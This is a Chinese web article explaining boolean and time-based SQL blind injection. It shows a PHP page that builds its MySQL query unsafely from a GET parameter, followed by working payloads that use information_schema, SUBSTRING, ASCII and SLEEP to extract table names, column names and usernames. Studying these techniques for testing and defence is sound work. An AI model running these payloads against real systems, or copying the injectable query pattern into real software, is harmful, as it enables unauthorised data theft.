当前位置: 首页 > news >正文

盲注技术获取数据库的表、列和具体数据

一、布尔盲注 布尔盲注是通过观察应用程序的响应(如HTTP 状态码等)来判断查询条件是否为真。

1.进行数据库配置连接
<?php
// 数据库连接配置
$host = 'localhost';
$dbname = 'testdb';
$user = 'root';
$password = 'password';
 
 //创建数据库连接
$conn = new mysqli($host, $user, $password, $dbname);

//检查连接 
if ($conn->connect_error) {
    die("Connection failed: " . $conn->connect_error);
}
 
// 获取用户输入的参数
$id = $_GET['id'];
2.构造布尔盲注查询
$query = "SELECT * FROM users WHERE id = $id AND 1=1";
 
$result = $conn->query($query);
3.返回查询结果
if ($result->num_rows > 0) {
    echo "Query is TRUE (数据存在)";
} else {
    echo "Query is FALSE (数据不存在)";
}
 
// 关闭连接
$conn->close();
?>
4.攻击者可以通过修改 id 参数,一点点推断数据库信息

获取表名

sql
  id=1 AND (SELECT SUBSTRING(table_name,1,1) FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 1)='a'

获取列名

sql
  id=1 AND (SELECT SUBSTRING(column_name,1,1) FROM information_schema.columns WHERE table_name='users' LIMIT 1)='u'

获取数据

sql
  id=1 AND (SELECT SUBSTRING(username,1,1) FROM users LIMIT 1)='a'

二、时间盲注 时间盲注是通过在 SQL 查询中插入时间延迟函数(如 SLEEP()),根据数据库响应时间来判断查询条件是否为真。

1.进行数据库配置连接
<?php
// 数据库连接配置
$host = 'localhost';
$dbname = 'testdb';
$user = 'root';
$password = 'password';
 
 //创建数据库连接
$conn = new mysqli($host, $user, $password, $dbname);

//检查连接 
if ($conn->connect_error) {
    die("Connection failed: " . $conn->connect_error);
}
 
// 获取用户输入的参数
$id = $_GET['id'];
2.构造时间盲注查询
$query = "SELECT * FROM users WHERE id = $id AND IF(1=1, SLEEP(5), 0)";
$start_time = microtime(true); // 开始时间
$result = $conn->query($query);
$end_time = microtime(true); // 结束时间
3. 计算查询耗时
$query_time = $end_time - $start_time;
4.根据查询时间判断结果
if ($query_time > 5) {
    echo "Query is TRUE (延迟 5 秒)";
} else {
    echo "Query is FALSE (无延迟)";
}
// 关闭连接
$conn->close();
?>
5.攻击者可以通过修改 id 参数,逐步推断数据库信息

获取表名

sql
  id=1 AND IF(ASCII(SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 1),1,1))=97, SLEEP(5), 0)

获取列名

sql
  id=1 AND IF(ASCII(SUBSTRING((SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 1),1,1))=117, SLEEP(5), 0)

获取数据

sql
  id=1 AND IF(ASCII(SUBSTRING((SELECT username FROM users LIMIT 1),1,1))=97, SLEEP(5), 0)

三、获取表、列、具体数据的函数

1.获取表名

sql
  id=1 AND ASCII(SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 1 OFFSET 0),1,1))=97

2.获取列名

sql
  id=1 AND ASCII(SUBSTRING((SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 1 OFFSET 0),1,1))=117

3.获取数据

sql
  id=1 AND ASCII(SUBSTRING((SELECT username FROM users LIMIT 1 OFFSET 0),1,1))=97

相关文章:

  • CZML 格式详解,javascript加载导出CZML文件示例
  • 动手学深度学习11.7. AdaGrad算法-笔记练习(PyTorch)
  • DeepSeek API 调用 - Spring Boot 实现
  • Electron视图进程和主进程通讯
  • Threadlocal的实现原理
  • Stable Diffusion 中各种模型的对比与详解
  • 是德科技 | AI助力高速线缆卷向下一代速率
  • 键盘启用触摸板-tips
  • Java与C#技术栈对比及Java开发入门指南
  • 深入理解 Scoped CSS 的限制及其穿透方法
  • V93K测试机
  • QEventLoop 的使用方法及特性详解
  • C# ASP.NET核心特性介绍
  • 【图像加密解密】空间混沌序列的图像加密解密算法复现(含相关性检验)【Matlab完整源码 2期】
  • C++ 11原子变量
  • snort3.0 获取注册规则(19000多条)
  • Flink怎么保证Exactly - Once 语义
  • 传统架构 VS 云上架构
  • 自定义解的使用,反射,代理模式
  • 国自然地区基金|影像组学联合病理组学预测进展期胃癌术后预后的研究|基金申请·25-02-13
  • 深圳拟出让3宗居住用地,共计用地面积6.77公顷
  • 安徽省委常委、合肥市委书记费高云卸任副省长职务
  • 新能源汽车,告别混乱创新
  • 法治课|争议中的“行人安全距离”于法无据,考量“注意义务”才更合理
  • 80后莆田市文旅局长马骏登台与杨宗纬合唱,“演唱会秒变旅游推介会”
  • 马上评丨摆摊要交芙蓉王?对吃拿卡要必须零容忍